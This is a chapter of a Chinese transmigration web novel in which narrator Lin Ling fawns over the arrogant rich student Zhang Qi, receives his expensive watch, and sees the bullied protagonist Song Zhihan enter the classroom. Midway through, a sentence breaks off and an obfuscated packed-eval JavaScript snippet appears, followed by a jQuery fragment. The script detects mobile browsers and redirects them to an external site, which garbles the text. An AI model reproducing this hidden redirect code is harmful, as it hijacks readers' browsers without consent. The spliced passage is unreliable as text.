张麒的目光直直地落在他脸上：“为什么不接电话？”
周围的一群人等着看他怎么回答，甚至露出幸灾乐祸的表情。
林翎在门口观察了一会，就学会了该怎么和张麒相处。他维持着那副讨好的表情，甚至让肩膀微微垮下来一点，显出几分虚弱，声音也放得又轻又软：“麒哥，对不住……昨天烧糊涂了，手机没电扔一边，今天才看到。”
他边说边动作迅速地拉开书包侧袋，从里面掏出一个皱巴巴的药盒，里面躺着几片白色的退烧药。他给张麒看了眼包装，然后抠出一片药，直接干咽了下去。
林翎的动作非常自然，凌乱的黄毛和干枯的嘴唇，眼神还带着一丝恍惚，是病人独有的狼狈和虚弱。
张麒狭长的眼睛眯了眯，盯着他吞咽的动作，又扫了一眼药盒，没说话。那审视的目光让林翎汗毛直立，但他面上依旧维持着恰到好处的愧疚和一点病弱的讨好。
有个小弟开口打破寂静：“林翎，昨天没来可是你的损失，麒哥昨晚可大方了！”
林翎露出恰到好处的遗憾：“烧得昏天暗地的，实在爬不起来。不然说什么也得在跟前，好好瞻仰麒哥的威风啊！”
唉，这个说话风格真恶心。
这句话如同开关一样让周围吹捧声再次响起，比刚才更甚。见众人的注意力已经重新集中在张麒身上，林翎拖着包坐到了自己的位置上。教室是单人单桌，他和张麒隔了一个过道，这是他以前想办法争取到的位置，现在他却感觉自己坐在火山口旁边。
在喧闹声中，林翎将课本和笔记拿出来，他心想，少参与几次张麒的派对，张麒自然而然会忘了他这个人。
旁边的话题又一次落在了张麒的手表上，就算这些人没一个家里缺钱的，但张麒身上的东西总是超乎他们的眼界和想象。最重要的是，每当他们表现出渴望和羡慕时，张麒就会随手把东西送出去。
“听说这块表好像搭载的是至今尚未上市的新AI，仅限内部测试，市面上根本买不到。”
“还是麒哥厉害……”
林翎没有力气参与这场大撒币活动，只敷衍地跟在其他人后面小声地说了句“麒哥真厉害”“我也好想要”之类的话。
张麒似乎被这群人吵得有些烦，他垂着眼，漫不经心地转了转左手腕上那块表，表盘是漆黑的，但在某种角度下会变成独特的红。
“真想要啊？”张麒似笑非笑地说。
一般到这个环节他就会把东西随便送给某个看得顺眼的人，于是在所有人屏息的注视下，张麒用两根手指，随意地解开了表扣，动作流畅，和以前一样。
表带滑落，那块价值不菲的表被他捏在指尖。
这次谁会是那个幸运儿。
张麒随意地将手腕一转，那表就像一道冰冷的红色流光，被精准地抛向林翎。
林翎只觉得一股寒气从脚底直冲天灵盖，他下意识地伸手去接，指尖触碰到冰冷的金属表壳和光滑的表带皮革时，他感觉自己拿着的是一块烙铁。
他内心疯狂叫嚣着拒绝，身体却不得不稳稳地接住了那块表，甚至牢牢攥住，生怕它掉在地上。
他的命还没这块表贵。
沉重的金属质感压在他的掌心，冰冷刺骨。他喉咙发干，脸上却堆起感激涕零的笑容，受宠若惊地喊：“麒、麒哥！”
“送你了。”张麒说。
“这……这太贵重了！我就是随便说说……”林翎绞尽脑汁想拒绝：“这表还是戴在你手上好看！”
“让你拿着就拿着。”张麒终于瞥了他一眼，眼神里带着一丝不耐烦。
不能再拒绝了，张麒的耐心到此为止。林翎收下手表，讪笑道：“谢谢麒哥……”
周围的小弟们强压下不满和嫉妒，爆发出更热烈的惊叹和吹捧：
“哇！麒哥大气！”
“麒哥对兄弟真是没话说！”
“林子好福气啊！”
“又是林子……”
林翎紧紧攥着那块表，表壳坚硬的棱角硌着他的掌心，带来真实的疼痛，他脸上笑容灿烂，心底却一片冰寒。
在圣翡学院这片精心打造的温室里，阶级的鸿沟如同空气般无处不在，却又被镀金的校规和表面的礼仪巧妙地包裹着，显得不那么刺骨。这里终究披着一层柔软的面纱，对于簇拥在张麒身边的这群人而言，他们对张麒那份畏惧更像是少年人追逐危险偶像时特有的带着点刺激感的朦胧情绪。在自我催眠下，他们甚至真心实意地相信，自己与张麒之间存在着某种兄弟情谊。
林翎亲眼目睹过张麒华丽皮囊下的真实模样，权利和阶级两个词是血淋淋的，眼前这个被众人仰望的红发少年，拥有着轻易碾碎他整个人生的力量。所谓的规则和法律，在张麒眼中只是个笑话，而他林翎，连同身边这些自以为是的兄弟，在张麒眼里，从来都只是棋盘上任由摆布，随时可以抛弃的棋子。
在小说世界中，他手中的权力被无限放大，膨胀到恐怖的地步。
而林翎的恐惧，正源于此。作者寥寥数笔，可对林翎而言，是整整十三年旧城地狱里，每一分每一秒都在真实流淌的血泪。无数次在阴暗巷子里被拳打脚踢骨头断裂，爬行着在垃圾堆里翻找食物时被路人鄙夷唾弃，每一次伤口溃烂化脓时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220045|181479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钻心的疼痛，尊严被反复踩进泥泞里，连呼吸都带着腐烂气息的苟延残喘……那些屈辱和绝望，深入骨髓的寒冷与饥饿，日复一日的煎熬，都是他亲身经历的。
所以这个世界，对他来说就是真实的。
“叮铃铃——！”
就在这时，刺耳而急促的上课预备铃骤然划破了教室里的喧嚣。
几乎在铃声落下的瞬间，教室前门被推开。
一个穿着同样圣翡学院校服的身影走了进来，他背着一个款式陈旧的书包，身形挺拔清瘦，脚步不疾不徐，与教室里刚刚浮夸喧嚣的氛围格格不入。夕阳的光线勾勒出他清晰而干净的侧脸轮廓，鼻梁高挺，嘴唇抿成一条平直的线，眼神沉静，像一泓深不见底的寒潭，带着一种与年龄不符的疏离和冷冽。
宋知寒。
真正的主角。
他的出现，让教室里瞬间陷入了一种诡异的安静，刚才还围着张麒和林翎喧闹的人群像是被按下了暂停键，目光复杂地聚焦在这个突然闯入的少年身上。有人带着厌恶，有人带着审视，更有人下意识看向张麒，露出又有好戏看了的表情。
张麒原本随意地倚在窗边，在看清来人是谁后，身体微微挺直。他那双原本带着不耐烦的狭长眼眸微微眯起，里面的百无聊赖瞬间褪去，取而代之的是一种尖锐的攻击性，如同锁定了猎物的猛兽。
这个时间点，宋知寒与张麒之间已势同水火。在张麒无声的默许甚至纵容下，越来越多的人都参与对宋知寒的排挤和霸凌，手段日渐恶劣，从暗处的窃窃私语升级为明面上的刁难和羞辱，甚至身体攻击。
而宋知寒本人，仿佛对周遭充满恶意的空气毫无所觉。他平静无波地扫过教室，没有在任何一张或熟悉或陌生的脸上停留哪怕一秒，径直走向自己位于教室第二排的座位。
那份视若无睹的平静，在张麒眼中，是比任何挑衅都更彻底的傲慢与轻蔑。
林翎几乎能听到张麒咬紧后槽牙的细微声响，无声的怒火正在飙升。
然而，就在这剑拔弩张的临界点，班主任踩着急促的脚步声进来了。
宋知寒如果长时间呆在教室，只会面临更多霸凌，所以他只在铃声落下的瞬间来教室，这样才能最大限度地利用老师的存在，迫使那些蠢蠢欲动的恶意不得不暂时收敛。
都是主角，宋知寒和张麒的待遇却截然不同，张麒永远高高在上，随心所欲，天生拥有令人羡慕的一切。而宋知寒却是从底层爬出来的，无论他多么天赋卓绝，努力刻苦，这个世界也不会让他好过一点点，他面临的永远都是打压欺凌，狂风骤雨，而其中大部分都来自张麒。